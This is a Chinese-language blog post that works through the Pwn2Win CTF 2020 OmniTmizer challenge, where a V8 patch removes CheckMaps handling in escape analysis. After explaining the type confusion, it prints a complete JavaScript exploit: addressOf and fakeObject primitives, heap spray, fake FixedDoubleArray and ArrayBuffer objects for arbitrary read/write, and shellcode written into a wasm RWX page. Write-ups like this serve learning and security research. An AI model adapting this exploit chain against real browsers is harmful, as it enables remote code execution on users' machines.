• 主页
所有文章 友链 关于我

  • 主页

Pwn2Win CTF 2020 OmniTmizer

2021-04-19

这题看着wp复现的,粗浅的认识v8的Escape Analysis,还有些许疑惑,望以后能理解把

前言

题目链接:https://github.com/pwn2winctf/challenges-2020/tree/master/pwn-OmniTmizer

这是本人粗浅的认识,有错误还望指出

题目分析

题目目录:

1
2
3
4
5
6
7
8
9
10
11
12
13
PS D:\shared\pwn2win_2020\pwn-OmniTmizer\files> ls


目录: D:\shared\pwn2win_2020\pwn-OmniTmizer\files


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2021/4/19 8:18 codes
d----- 2021/4/19 11:57 x64.release
-a---- 2021/4/19 8:18 281 Dockerfile
-a---- 2021/4/19 8:18 1485 OmniTmizer.patch
-a---- 2021/4/19 8:18 90 run.bat

进入到x64.release目录下,是个d8.exe,这题是一个windows下的题目

在看看patch文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
https://github.com/v8/v8/tree/50dd84ca317ae35c926ed34d001a72b62aea6662
diff --git a/src/compiler/escape-analysis.cc b/src/compiler/escape-analysis.cc
index b3f684ea61..ae2cbdabca 100644
--- a/src/compiler/escape-analysis.cc
+++ b/src/compiler/escape-analysis.cc
@@ -726,29 +726,8 @@ void ReduceNode(const Operator* op, EscapeAnalysisTracker::Scope* current,
break;
}
case IrOpcode::kCheckMaps: {
- CheckMapsParameters params = CheckMapsParametersOf(op);
- Node* checked = current->ValueInput(0);
- const VirtualObject* vobject = current->GetVirtualObject(checked);
- Variable map_field;
- Node* map;
- if (vobject && !vobject->HasEscaped() &&
- vobject->FieldAt(HeapObject::kMapOffset).To(&map_field) &&
- current->Get(map_field).To(&map)) {
- if (map) {
- Type const map_type = NodeProperties::GetType(map);
- if (map_type.IsHeapConstant() &&
- params.maps().contains(
- map_type.AsHeapConstant()->Ref().AsMap().object())) {
- current->MarkForDeletion();
- break;
- }
- } else {
- // If the variable has no value, we have not reached the fixed-point
- // yet.
- break;
- }
- }
- current->SetEscaped(checked);
+ //OmniTmizer - Improving performance
+ current->MarkForDeletion();
break;
}
case IrOpcode::kCompareMaps: {

这个好像是把checkMap Node全给删掉了

在JIT中,如果一个函数总是用某一类型的对象(例如字符串)来调用,那么JIT优化后函数就会针对该类型的对象进行预先的特化,或者类似模板?但是如果参数不是字符串的时候,这优化后的函数就会出错。为了避免这种情况,JIT优化的时候是会对Map进行检查的,个人理解就是本来参数一直都是字符串,突然间传入了一个对象,这时候JIT就会DeOptimise,这个好像依赖于CheckMap,这题的patch把这一check给删掉了,所以会造成类型混淆

故我们可以用这个来制造addressof原语和fakeobj原语,已达到执行任意代码的目的

exploit

整体的攻击流程如下:

  • 先构造好addressof原语和fakeobj原语
  • 伪造一个FixedDoubleArray,越界读取高位的指针值以计算完整的地址
  • 在伪造一个ArrayBuffer,修改其backing_store,来进行任意地址读写
  • 修改wasm的可执行代码来执行shellcode

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
function r(i) {
i[0];
i[1];
i[2];
i[3];
return i[0];
}
function w(i, v) {
i[0];
i[1];
i[2];
i[3];
i[0] = v;
}

for (var j = 0; j < 1000000; j++) {r([1.1,1.1,1.1,1.1,1.1]);}
for (var j = 0; j < 1000000; j++) {w([1.1,1.1,1.1,1.1,1.1],2.2);}

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
dv.setUint32(0,value1,true);
dv.setUint32(0x4,value2,true);
return dv.getFloat64(0,true);
}

function i2f64(value) {
dv.setBigUint64(0,BigInt(value),true);
return dv.getFloat64(0,true);
}

function u64f(value) {
dv.setFloat64(0,value,true);
return dv.getBigUint64(0,true);
}

function u32f(value) {
dv.setFloat64(0,value,true);
return dv.getUint32(0,true);
}

function i2f(value) {
dv.setUint32(0,value,true);
return dv.getFloat32(0,true);
}

function addressOf(obj) {
var raw = r([obj, [], [], [], []]);
//console.log(raw);
return u32f(raw, 0) - 1;
}
function fakeObject(addr) {
var store = [[], [], [], [], []];
// var store = [1.1,1.1,1.1,1.1,1.1];
var raw = w(store, p64f(addr,0));
return store[0];
}

var spary_size = 0x201;
var spary = new Array(spary_size);
for (var i=0;i<spary_size;i+=3) {
spary[i] = new Array(1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9,10.10,11.11,12.12,13.13,14.14,15.15);
spary[i+1] = new ArrayBuffer(0x2000);
spary[i+2] = new Float64Array(0x5);
}


let arr = spary[i-12];
let arr_address = addressOf(arr);

// fake a FixedDoubleArray

var element_addr = arr_address + 0x18;
var fake_element_addr = element_addr + 0x10;

arr[0] = p64f(0x08241909,0x80406e9);
arr[1] = p64f(fake_element_addr+1,0x80);

// fake a FixedDoubleArray's element
arr[2] = p64f(0x08040a3d,0x80);

// console.log(arr_address.toString(16));
// console.log(element_addr.toString(16));
var fake_fixeddouble_arr = fakeObject(element_addr + 1);

var high_bit = (u64f(fake_fixeddouble_arr[37]) >> 32n) << 32n;
//console.log(high_bit.toString(16));

function fullAddress(addr) {
return high_bit + BigInt(addr);
}

var proto_addr = addressOf(ArrayBuffer.prototype);

arr = spary[i-18];
arr_address = addressOf(arr);
element_addr = arr_address + 0x18;

//fake a ArrayBuffer Map
arr[0] = p64f(0x8040149,0x190e0e0e);
arr[1] = p64f(0x19000425,0x84003ff);
arr[2] = p64f(proto_addr+1,0);

// fake a Arraybuffer
arr[4] = p64f(0,element_addr+1);
arr[5] = p64f(0x80406e9,0x80406e9);
arr[6] = p64f(0x100,0);

//console.log(arr_address.toString(16));
//console.log(element_addr.toString(16));

// arr[7] --> backing_store

var fake_array_buffer = fakeObject(element_addr + 1 + 0x24);

// %DebugPrint(fake_array_buffer);

var adv = new DataView(fake_array_buffer);

function read64(addr) {
arr[7] = i2f64(addr);
return adv.getBigUint64(0,true);
}

function read32(addr) {
arr[7] = i2f64(addr);
return adv.getUint32(0,true);
}

function write64(addr,value) {
arr[7] = i2f64(addr);
adv.setBigUint64(0,BigInt(value),true);
}

function write32(addr,value) {
arr[7] = i2f64(addr);
adv.setUint32(0,value,true);
}


var shellcode = [0x90909090,0x90909090,3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957]; // pop calc
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var f_addr = fullAddress(addressOf(f));

var shared_info_addr = fullAddress(BigInt(read32(f_addr + 0xcn)) - 0x1n);
var wasm_exported_func_data_addr = fullAddress(BigInt(read32(shared_info_addr + 0x4n)) - 0x1n);
var wasm_instance_addr = fullAddress(BigInt(read32(wasm_exported_func_data_addr + 0x8n)) - 0x1n);
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);

console.log("[*] rwx_page_addr : 0x" + rwx_page_addr.toString(16));

var k = 0n;
var sc_length = BigInt(shellcode.length);
for(;k < sc_length;k++){
write32(rwx_page_addr+k*4n,shellcode[k]);
}
f();

效果:

cTh8Ln.png

踩坑

伪造ArrayBuffer的时候,那个Map最好也伪造一下,就找一个正常的ArrayBuffer对象,把它的Map长啥样照抄过来就行;

因为这个pointer compression 的问题,我们泄露出来的地址都只有4个字节,这里的好处就是伪造的时候很好伪造,坏处就是第一次调试的时候很难受,而且仅仅只是伪造FixedDoubleArray达不到任意地址读写的目的,所以还是要依赖ArrayBuffer来任意地址读写(伪造对象的时候记得地址+1);

还有一个疑问就是那个伪造对象的没看懂,感觉还是差了那么点东西才能理解

参考链接

2020 Pwn2Win OmniTmizer Challenge:https://yichenchai.github.io/blog/omnitmizer

V8逃逸分析(escape-analysis)N1CTF2020 Escape https://www.anquanke.com/post/id/224317

扫一扫,分享到微信

微信分享二维码
TCTF2020 Quals Chromium RCE题解
v8 环境搭建
  1. 1. 前言
  2. 2. 题目分析
    1. 2.1. exploit
  3. 3. 踩坑
  4. 4. 参考链接
© 2022 ruan
Hexo Theme Yilia by Litten
  • 所有文章
  • 友链
  • 关于我

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录(注意不是yilia根目录)执行以下命令:
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置:

      jsonContent:
        meta: false
        pages: false
        posts:
          title: true
          date: true
          path: true
          text: false
          raw: false
          content: false
          slug: false
          updated: false
          comments: false
          link: false
          permalink: false
          excerpt: false
          categories: false
          tags: true
    

  • 好舍友
beginner